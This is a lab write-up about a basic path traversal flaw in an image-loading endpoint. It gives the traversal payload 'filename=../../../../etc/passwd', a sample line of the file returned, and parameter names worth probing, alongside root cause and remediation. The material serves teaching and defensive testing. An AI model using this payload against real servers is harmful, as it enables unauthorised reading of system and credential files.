

File Path Traversal - Simple Case

Lab Information

Field	Value
Category	Path Traversal
Difficulty	Apprentice
Vulnerability	Path Traversal / Directory Traversal
Impact	Arbitrary File Read

Summary

This lab demonstrates a basic **Path Traversal** vulnerability where the application uses user-controlled input to load image files without properly validating the requested path.

By manipulating the `filename` parameter with traversal sequences (`../`), an attacker can escape the intended directory and access sensitive files stored elsewhere on the server.

Objective

Retrieve the contents of the sensitive file:

```
/etc/passwd
```

Attack Scenario

The application displays product images using a user-controlled filename parameter.

A normal request looks like:

```
GET /image?filename=7.jpg
```

The server uses the supplied filename to locate and return the requested file.

Because the application does not properly restrict the file path, an attacker can use directory traversal sequences to navigate outside the intended image directory and access arbitrary files on the server.

Steps to Reproduce

1. Browse the application and identify a request responsible for loading product images.

Example:

```
GET /image?filename=7.jpg
```

1. Send the request to Burp Suite Repeater.
2. Modify the `filename` parameter using directory traversal sequences.

Original:

```
filename=7.jpg
```

Modified:

```
filename=../../../../etc/passwd
```

1. Send the modified request.
2. Observe that the server returns the contents of the `/etc/passwd` file.
3. The lab is successfully solved.

Evidence

Original Request

The application loads images using a user-controlled parameter:

```
GET /image?filename=7.jpg
```

Modified Request

The filename parameter was changed to:

```
filename=../../../../etc/passwd
```

Result

The response contained sensitive Linux system file contents:

```
root:x:0:0:root:/root:/bin/bash
```

Security Impact

A successful Path Traversal vulnerability allows attackers to read arbitrary files from the server filesystem.

Depending on the application's configuration, attackers may access:

- User data
- Configuration files
- Source code
- Credentials
- Environment variables
- Sensitive system files

Exposure of sensitive files can lead to further attacks such as credential theft or complete server compromise.

Root Cause

The application directly used user-controlled input to construct file paths without performing proper validation.

The server assumed that the provided filename would always reference a legitimate image file, allowing attackers to manipulate the path and access files outside the intended directory.

Remediation

- Validate and sanitize all user-controlled file paths.
- Use an allowlist of permitted files instead of accepting arbitrary filenames.

- Store uploaded and static files outside sensitive system directories.
 - Normalize paths before processing them and verify that the final resolved path remains inside the intended directory.
 - Avoid directly exposing filesystem paths through user input.
-

Pentester's Notes

During testing, parameters related to file handling should always be considered potential Path Traversal candidates.

Common examples include:

- filename
- file
- path
- document
- folder
- template

The first test is usually checking whether traversal sequences work:

```
../
```

If successful, the attacker may be able to access files outside the intended directory.

Key Takeaways

- User-controlled file paths should never be trusted.
- `../` sequences allow attackers to move between directories.
- File access controls must be implemented on the server side.
- Reading sensitive files such as `/etc/passwd` is a common indicator of a successful Path Traversal attack.